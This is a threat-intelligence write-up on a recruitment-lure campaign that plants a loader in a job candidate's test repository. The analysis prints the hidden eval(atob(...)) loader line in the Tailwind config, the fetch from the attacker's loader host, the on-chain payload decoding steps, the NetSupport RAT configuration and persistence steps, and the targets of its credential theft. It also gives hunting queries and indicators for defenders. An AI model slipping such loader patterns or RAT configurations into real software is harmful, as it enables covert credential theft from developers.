Hunting Lazarus Part X: DEV#POPPER Returns, Stealing Browser Credentials
A campaign tracked as DEV#POPPER since 2024 is still recruiting developers through hiring platforms. The intrusion fires on npm run dev, the payload is retrieved from a public blockchain, and two unauthenticated servers holding about 1.28 TB remain reachable.
The technical record behind this article is DEV#POPPER Returns, Stealing Browser Credentials (Technical Record).
A recruiter offered a job with a real codebase, a real task and a stated pass criterion. The third command on the task page was the intrusion.
tldr:
A campaign tracked publicly since at least 2024 as DEV#POPPER, and assessed here as DPRK-consistent on behaviour, targets software developers by offering them contract work through hiring platforms. It delivers a poisoned code repository, and the intrusion fires on npm run dev, a command the task page tells the candidate to run.
The November 2026 generation observed in this record differs from the 2024 reporting in every component after the first execution. The payload is retrieved from a public blockchain rather than a domain, the remote-access kit is a commercial product rather than a bespoke RAT, and the latest build carries a working Chrome App-Bound Encryption bypass.
Two unauthenticated servers holding 1.28 TB of collected data remain reachable. A held stablecoin balance of 24,987.82 USDT provides the only freeze target in the chain.
Introduction
Social engineering targets the person rather than the software. The campaign in this record does one specific version of it: it offers a developer paid work, gives them a task that is real, and arranges for the act of doing the task to be the intrusion.
That lever is stronger than it sounds. The offer is a job on a real platform, with a company name, a written scope and a pass criterion. Declining costs the candidate income. The campaign selects for people who need the work, and the entire design of the lure is aimed at making the transaction indistinguishable from ordinary contract hiring.
This record was compiled from an approach received directly rather than reconstructed from a third party, which is why the recruiter conversation below is reproduced verbatim. The infrastructure, the payload and the money were then reached from that starting point. Nothing here required exploiting the operator: every artefact was fetched the same way the malware fetches it.
The family continuity matters. A 2024 advisory describes DEV#POPPER delivering a Python RAT from an extensionless .npl file after the same recruiter approach, the same repository, and the same instruction to run the project. Two years later the delivery instinct is unchanged, and every downstream component has been replaced. The lure is the part that does not need to evolve.
Stage 1: The approach
The contact came through Upwork at 09:01 on 10 November 2026 from an account registered as Edmar Casasola, Metallicus. It carried a job invitation and a request to submit a proposal.
Hello!
I'd like to invite you to take a look at the job I've posted. Please submit a proposal if you're available and interested.
Edmar C.
The response was sent inside the same minute:
Thanks for inviting me
Hey Edmar, thanks for the consideration
I'd like to help with the project
could you please share a bit more details?
At 09:26 the operator described the role. The description is a script written to match the code that would follow it: a decentralised marketplace for tokenised real-world assets, Ethereum on chain, React and TypeScript on the front end, Node and MongoDB behind it, and property, watches and jewellery as the asset categories.
| Time | Actor | Event |
|---|---|---|
| 09:01 | Operator | Job invitation and proposal request |
| 09:01 | Candidate | Reply expressing interest |
| 09:26 | Operator | Role description and two screening questions |
| 10:52 | Candidate | Availability and rate |
| 10:54 | Operator | Requests GitHub username to send an invitation to the test project |
| 10:59 | Candidate | Username supplied |
| 11:38 | Operator | Loom requirement and Notion task page |
The 10:54 message is the delivery step and it reads as onboarding:
Okay, I'd like to conduct a short skills assessment to better understand your experience and technical skills. If possible, please share your GitHub username, and I'll send you an invitation to the test project.
Five minutes later a private repository existed, named for the handle that had just been supplied. The naming is per-candidate, which means the repository is built for one target at a time rather than cloned from a template.
The task page arrived at 11:38 with the repository access and a recording requirement:
Please record a quick Loom video showing the Git clone, environment setup, and how you plan to approach the task. We need to see the full process from the initial setup before you start the actual task. Send me the video link first, and you can start the test.
The recording is requested before the test begins and it is the one part of the process with no legitimate purpose. It gives the operator a survey of the target machine on camera, with the target's cooperation, before any code has executed. It is also a working hiring filter, which is what makes refusing it socially expensive.
The task page required three deliverables: a repository link with the completed source, the Loom, and a written summary of the architecture reasoning. The first is the infection, the second is the survey, and the third costs the candidate nothing.
Stage 2: The build-config injection
The repository carried a Tailwind configuration. At line 147:
plugins: [require("tailwindcss-animate"), require("./public/logo.svg")]
A stylesheet configuration loads plugins. It has no reason to load an image, and public/logo.svg is not an image. It is JavaScript:
eval(atob('Y29uc3T7c3Bhd259PXJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS...'))
Node resolves the require(), reads the file as a module, and the eval executes. The mechanism is one require() of a non-JavaScript asset from a build configuration. No build step is involved, no test suite runs, and there is no binary for the candidate to click.
| Command | Behaviour |
|---|---|
cp example.env .env | No execution |
npm install | No execution. Completes silently |
npm run dev | Fires the loader approximately two seconds into server start |
That distinction is the detection problem in one line. A candidate who installed the project is unaffected. A candidate who started it is compromised.
The task page instructs the candidate to copy the project into their own GitHub repository. They have been invited to somebody else's private repository, they cannot push to it, and copying it into their own account is the ordinary thing to do. Three consequences follow, all intended: the loader lands in the victim's account under the victim's name, anyone who clones or forks that repository receives the same loader, and the "I downloaded something suspicious" defence is removed.
The repository is private and it was live at the time of this analysis. git ls-remote returned 18e3b3b0a02bc52df856d918beecfed7f60cd0a7 for both HEAD and refs/heads/main. An anonymous request receives a 404 because the repository is private, and that status code does not indicate deletion. A responder who reads it as deletion will skip the containment step of revoking access.
Stage 3: The HTTP loader
The decoded logo.svg payload is 363 bytes. It spawns a detached child process with stdio set to ignore, so it survives the parent and produces no console output, then requests a payload over plain HTTP from a Vercel-hosted function:
GET hxxps://db-connectors[.]vercel[.]app/server/v2
bearrtoken: dbheader
The header is a name and a value, not a credential. Nothing is authenticated. The response was 32,166 bytes of JavaScript with x-powered-by: Express, delivered in a JSON field named cookie, which the loader passes to eval in memory.
The field name is worth noting. A value called cookie carrying JavaScript is the naming convention of an operation that expects an intermediary to check the wrong thing.
Stage two never touches disk. What lands on disk is stage three's staging area, ~/.vs_cache/, containing main.js, main.vbs, package.json and loader.log. On Windows the launch is wscript.exe running a VBS that builds its quoting with Chr(34).
At runtime it installs its own dependencies: axios, better-sqlite3, node-machine-id, socket.io-client, and on Windows @primno/dpapi for DPAPI decryption and koffi 3.1.2 for FFI. The co-occurrence of raw FFI and Windows credential decryption in ordinary Node work is unusual enough to be worth an alert on its own.
Stage 4: The blockchain payload resolver
The next stage is not hosted on a server. It sits in blockchain transactions and the implant reads it.
The resolver asks a public TRON endpoint for the most recent transaction on a single address, lifts the raw_data.data field, swaps the two halves of that data, reads the result as hexadecimal, and converts it into a transaction hash on BNB Smart Chain. It then fetches that transaction from a public BSC node and unwinds the payload: reverse the bytes, XOR against an embedded key, match the BCGZ1| marker, base64-decode, gunzip, and execute.
Four TRON transactions resolve onward, and all four payloads decode:
| TRON transaction | BSC transaction | BSC block | Payload, decoded |
|---|---|---|---|
c846aad5c225bc02... | 5a3881546e9c85cd... | 120635780 | 3,015 B |
ec77f2b7aeb23213... | 4c6b9eee4cb3340... | 120446279 | 4,760 B |
aac37a57e9f6e395... | aa2e6440d65870d5... | 119726341 | 161,942 B |
191bf3c3916ae762... | 925e643c2cd36807... | 119698403 | 2,397 B |
All four BSC transactions were sent from 0xc24971414291ac130a8c758c96dc574da017b5a9 to 0x...dEaD, the burn address. The chain functions as a pointer rather than a host: the payload server is ordinary infrastructure, and the chain answers one question, which is where the current payload is today.
That design has a cost for the operator. A pointer can be rotated at will, but it cannot be un-published. Every previous transaction stays readable, which makes the chain history a timeline of what was served when.
A limit that constrains this record. No on-chain command channel is established. During this analysis, two findings described beacon transactions tasking implants on a schedule with a fixed cadence. Both were withdrawn after the carrier token metadata was decoded: one token is a commercial TRON energy service advertising its own URL, and the other is a second such service described in two languages. The apparent tasking traffic is their promotional airdrop distribution. What survives from the chain is payload delivery and funding topology, and this record does not claim more.
Stage 5: The remote-access kit
The largest on-chain envelope is 161,942 bytes and it is not a script. It is a deployment plan for NetSupport Manager, a commercial remote-access product sold for legitimate support work. Nothing in the RAT itself is custom, which is why hash-based detection of the tool is the wrong answer.
The kit is 2,298,289 bytes and contains Service.exe, remcmdstub.exe, NSM.LIC, nskbfltr.inf, PCICL32.DLL, HTCTL32.DLL, TCCTL32.DLL, PCICHEK.DLL, pcicapi.dll, AudioCapture.dll, msvcr100.dll, cksini.exe, client32.ini, deploy-to-target.cmd and patch-ini-filename.ps1. AudioCapture.dll is the microphone.
The configuration points at the operator's gateway and disables the user's ability to close the session:
GatewayAddress = chainmanamgentagency[.]info
Port = 443
GSK = <gskmode=0 value, withheld>
RoomSpec = Eval
silent=1 SysTray=0 AlwaysOnTop=1 DisableClientConnect=1 DisableDisconnect=1
SysTray=0 means there is no icon to notice. DisableDisconnect=1 means the user cannot end it.
| Step | Action |
|---|---|
| 1 | Copy payload and client32.ini to %LOCALAPPDATA%\Microsoft\Windows\SettingSync\Caches\{GUID}\Win32\ResCache\ |
| 2 | Rewrite Filename= in the config to the absolute path |
| 3 | Regenerate the configuration checksum with cksini.exe |
| 4 | Write ResCache.vbs as the launcher |
| 5 | Create the Run value SettingSyncResCache pointing at wscript.exe "<ResCache>\ResCache.vbs" |
| 6 | Launch Service.exe |
| 7 | Delete the staging directory |
The checksum step matters for responders who find the config and try to repoint it. The client refuses to load a configuration whose checksum does not match, and the utility that fixes that is in the operator's own kit.
The path is the detection. Nothing legitimate writes a VBS launcher into SettingSync\Caches\{GUID}\Win32\ResCache. Microsoft's synchronisation components do not do that. The GUID, the Win32\ResCache suffix and the .vbs extension together are more durable than any hash, because they survive the operator replacing every binary.
Stage 6: The command channel
The gateway at chainmanamgentagency[.]info resolves to 185.248.161[.]18 and identifies itself as NetSupport Gateway/1.92 (Windows NT). It speaks HTTP, and the requests use a bare line feed rather than the standard carriage-return pair. A conforming HTTP parser discards them and resets the socket, which is why earlier probing against this infrastructure failed for a day and produced a wrong conclusion about a binary protocol.
Reversal of HTCTL32.DLL explains the formatting. The library imports WSOCK32 for twenty-six socket functions and has no WININET and no CryptoAPI in its import table. There is no HTTP stack and no OS crypto provider, so the request is formatted strings written to a socket and the encryption is implemented in the library itself.
Two further details matter for anyone writing a compatible client. Content-Length is emitted as a fixed-width placeholder and patched in place, so the header length never varies. And the base64 alphabet at 0x101fa228 replaces + and / with ( and ), which makes a standard decoder reject or silently mis-decode the output.
The weakness is in the key handling. The gateway key in client32.ini is stored reversibly under gskmode=0. The client derives a second value from it and transmits that derived value in cleartext on every registration, with no challenge and no server-side proof. One infected configuration file is therefore a gateway credential, and it authenticated from a different host, a different MAC and a different client name.
This is the practical realisation of CVE-2025-34180, with a wider exposure than the CVE text describes. NetSupport 12.01 also falls within the applicable range for CVE-2025-34179 and CVE-2025-34181.
The client does not authenticate the server. A synthetic gateway was built in an isolated virtual machine. It answered the client's registration with a synthetic success response and delivered a captured command block. The client accepted it, decrypted the operator's command, acted on it, and returned a 267-byte encrypted reply.
That finding is not specific to this campaign. Anyone who can answer on the configured address can drive every client in that room, and the client's replies are the collected data flowing out.
What the implant collects
The collector is not limited to the browser. Ordered by what a responder should treat as exposed:
| Category | Targets |
|---|---|
| Live browser sessions | Cookies, Local State, extension storage for Chrome, Edge, Opera, Brave and Yandex |
| Stored credentials | Login Data, Firefox key4.db and logins.json, Tor Browser |
| Keys and wallets | .env, .pem, .ppk, .p12, .pfx, filenames matching MetaMask, Bitcoin, Solana, and the strings secret phrase and private key |
| Shell history | .bash_history, .zsh_history |
| Keystrokes and clipboard | Keyboard hook and clipboard monitor, uploaded on a timer |
| Machine control | Remote desktop, file transfer, command prompt, registry editor, microphone |
| Remote reach | SSH keys and passwords, which extends exposure to every host the machine is trusted to reach |
The current build defeats Chrome App-Bound Encryption, introduced in version 127 specifically to prevent cookie theft. The mechanism is a 9,728-byte COM injector that calls the browser's own elevation service from inside the browser process, silently, with no elevation prompt. The practical consequence is that the exposed asset is the logged-in session rather than the stored password. Password rotation does not end a stolen session; session invalidation does.
The build also carries container detection across thirty string references. A detonation inside Docker will not produce the behaviour an analyst is looking for, and may read as a clean sample.
Why the campaign keeps working
Refusal costs the candidate the job, and the campaign selects targets for whom that cost is real. The operation approaches contract and remote developers looking for work through hiring platforms, and the observed concentration is South Asian.
The decision never presents itself as "should I run untrusted code". It presents itself as "am I going to be difficult about a normal hiring step". Somebody who needs the income has answered that question before it finishes being asked.
The 2024 and 2026 iterations share that property and almost nothing else. The lure is the part of the design that carries across generations, because it addresses a human constraint rather than a technical one.
Recommendations
- Treat an invitation to a private assessment repository as untrusted code, regardless of the platform or the recruiter's manner. Run it in a disposable environment that cannot reach real credentials.
- Treat the recording request as the decision point. An employer who needs to know a candidate's environment can ask for version output in writing. Nobody needs footage of a filesystem.
- If the project has already run, invalidate sessions rather than changing passwords. A stolen cookie is a live session.
- Revoke access to the repository for anyone who was invited. A private repository that still answers is still serving.
- Hunt the three behavioural markers in the detection section before any hash. They survive the operator rebuilding every payload.
MITRE ATT&CK
| Tactic | Technique | Observed |
|---|---|---|
| Resource Development | T1583.001 Acquire Infrastructure: Domains | Fronting domain and provider-hosted command hosts |
| Resource Development | T1585.001 Establish Accounts: Social Media Accounts | Recruiter persona on a hiring platform |
| Resource Development | T1608.001 Stage Capabilities: Upload Malware | Private per-candidate repository |
| Initial Access | T1195.001 Supply Chain Compromise: Compromise Software Dependencies and Development Tools | Injected build configuration in a project supplied as work |
| Execution | T1204.002 User Execution: Malicious File | npm run dev |
| Execution | T1059.007 Command and Scripting Interpreter: JavaScript | eval(atob(...)) loader |
| Persistence | T1547.001 Boot or Logon Autostart: Registry Run Keys | SettingSyncResCache |
| Persistence | T1053.005 Scheduled Task/Job | schtasks in the implant string table |
| Defense Evasion | T1027 Obfuscated Files or Information | Layered base64, XOR, gzip, half-swap |
| Defense Evasion | T1564.001 Hide Artifacts: Hidden Files and Directories | ~/.vs_cache |
| Defense Evasion | T1497 Virtualization/Sandbox Evasion | Container detection |
| Defense Evasion | T1070.004 Indicator Removal: File Deletion | Staging directory removed after deployment |
| Credential Access | T1555.003 Credentials from Password Stores: Web Browsers | Chrome, Edge, Brave, Firefox, Tor |
| Credential Access | T1552.001 Unsecured Credentials: Credentials In Files | .env, .pem, key material |
| Credential Access | T1056.001 Input Capture: Keylogging | Keyboard hook component |
| Discovery | T1033, T1082 System Owner/User and System Information Discovery | Host and user collection |
| Collection | T1115 Clipboard Data | Clipboard monitor |
| Collection | T1560 Archive Collected Data | Staged archives before upload |
| Command and Control | T1102 Web Service | Vercel-hosted loader |
| Command and Control | T1071.001 Application Layer Protocol: Web Protocols | HTTP with bare LF to the gateway |
| Command and Control | T1219 Remote Access Software | NetSupport Manager |
| Exfiltration | T1041 Exfiltration Over C2 Channel | Unauthenticated upload endpoint |
Detection
Seven Sigma rules are published with this record. The three highest-value indicators are behavioural and independent of any hash:
%LOCALAPPDATA%\Microsoft\Windows\SettingSync\Caches\{8F7A2C1E-9B4D-4E6A-A3C8-1D5E7F90B2C4}\Win32\ResCache\ResCache.vbs
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\SettingSyncResCache
~/.vs_cache/
A build configuration that loads an image is the design signature, and one command catches the design rather than the sample:
grep -rnE "require\(['\"]\./.*\.(svg|png|jpg|gif|ico)['\"]\)" \
--include="tailwind.config.*" --include="postcss.config.*" \
--include="vite.config.*" --include="next.config.*" .
Run it against any project before starting work for a party you do not know. Any hit is worth a question about why a stylesheet configuration needs a picture.
The YARA set published alongside this record matched 25 of 25 recovered builds with 0 false positives across 85 benign files.
Hunting queries
Endpoint, for the loader's detached child:
Get-CimInstance Win32_Process |
Where-Object { $_.Name -eq 'node.exe' -and $_.CommandLine -match 'node -e' } |
Select-Object ProcessId, ParentProcessId, CommandLine
Endpoint, for the persistence artifacts:
Test-Path "$env:LOCALAPPDATA\Microsoft\Windows\SettingSync\Caches\{8F7A2C1E-9B4D-4E6A-A3C8-1D5E7F90B2C4}\Win32\ResCache\ResCache.vbs"
Test-Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\SettingSyncResCache"
Network, for the observed command hosts. These domains and addresses are indicators, not destinations to visit: db-connectors[.]vercel[.]app, chainmanamgentagency[.]info, green-horse-42739[.]zap[.]cloud, blue-eagle-26751[.]zap[.]cloud, 138.226.247[.]154, 94.249.185[.]106, 147.189.169[.]26, 185.248.161[.]18.
C2 and infrastructure
| Indicator | Role | Detail |
|---|---|---|
db-connectors[.]vercel[.]app | Stage one loader | Vercel-hosted function, bearrtoken header, JSON cookie field |
138.226.247[.]154 :80/443 | Loader and kit delivery | AS43641 Sollutium, Netherlands |
94.249.185[.]106 :443 | Current command host, and a data store | AS206996 ZAP-Hosting, Ashburn, Virginia |
147.189.169[.]26 :3011 | Backup command host, and a data store | AS206996 ZAP-Hosting |
185.248.161[.]18 :443 | NetSupport gateway | AS199701 SeedVPS, Netherlands |
chainmanamgentagency[.]info | Gateway fronting name | Resolves to the gateway; name returns 403 from a default Apache |
0xc24971414291ac130a8c758c96dc574da017b5a9 | Dead-drop writer | Sends all four envelopes to the burn address |
Both data stores sit on one hosting provider under sequential order identifiers, which is one abuse desk to notify. Combined they hold 1.28 TB: 332.6 GB of 536.7 GB on one, and 948.0 GB of 1.07 TB on the other, which is 88.3 percent full with 125.6 GB left. Across the 40 hours to 2026-11-13T22:31Z the pair grew 74.8 GB, 73.2 GB of it on that larger server. Both reject uploads against a global limit of sixteen in flight.
Analysed files and hashes
| File | Size | SHA-256 |
|---|---|---|
logo.svg (loader, decoded) | 363 B | not recoverable in isolation |
| Stage two, from the Vercel endpoint | 32,166 B | see detection set |
| On-chain build 1.5.2 | 161,942 B | 78ef4f03... |
| Server build 1.6.27 | 254,323 B | 5dff1771d10845cc06c6e501d9f3e4359ebe60bcf6a0d3699d8ed41abab24857 |
client32-portable (NetSupport kit) | 2,298,289 B | 39abfd47b02d66ed2084775b4ade23c3f057969490d60a1e50309b72544a8a9d |
win_key_agent.js | 90,570 B | ebeb2ecce5c173cbec156a4d66413dba0bd60a5bf7ee90ba8100a7866bbbd9e2 |
| App-Bound Encryption injector | 9,728 B | 47a76888121a06bf9d56313b21be269a3b5acb32a7c25c0ef8c4739e219c27ce |
HTCTL32.DLL (NetSupport 12.01) | 323,912 B | 6562585009f15155eea9a489e474cebc4dd2a01a26d846fdd1b93fdc24b0c269 |
The server build is newer than the on-chain build and its hash appears in none of the eighteen builds recovered from the chain. Anyone analysing only the blockchain is looking at a payload that was current two months earlier.
References
- Securonix Threat Research, "Analysis of DEV#POPPER: New Attack Campaign Targeting Software Developers Likely Associated With North Korean Threat Actors", 24 April 2024.
- "Hunting Lazarus Part X: DEV#POPPER Returns, Stealing Browser Credentials (Technical Record)". The full mechanism, the reversal of the gateway transport, the App-Bound Encryption component, and the five claims withdrawn during this analysis with the control tests that killed them.
Share this article
Help spread the word about security best practices.
Related Articles
Hunting Lazarus Part X: DEV#POPPER Returns, Stealing Browser Credentials (Technical Record)
The forged VS Code manifest, the TRON-to-BSC payload resolver and its five-step decode, the App-Bound Encryption bypass, the NetSupport kit, a gateway that obeys any server, 1.28 TB across two unauthenticated stores, and the five claims this analysis withdrew together with the control tests that killed them.
A Fake Coding Interview Is an Execution Request: Developer Safety Checklist
A coding interview repo is a request to run unknown code on a machine that holds your browser sessions, SSH keys, GitHub tokens, and cloud credentials. This checklist covers what to check before the call, what to look for in the repo, and what to do if you already ran it.
Need Security Help?
Our team can help secure your blockchain, web applications, and infrastructure.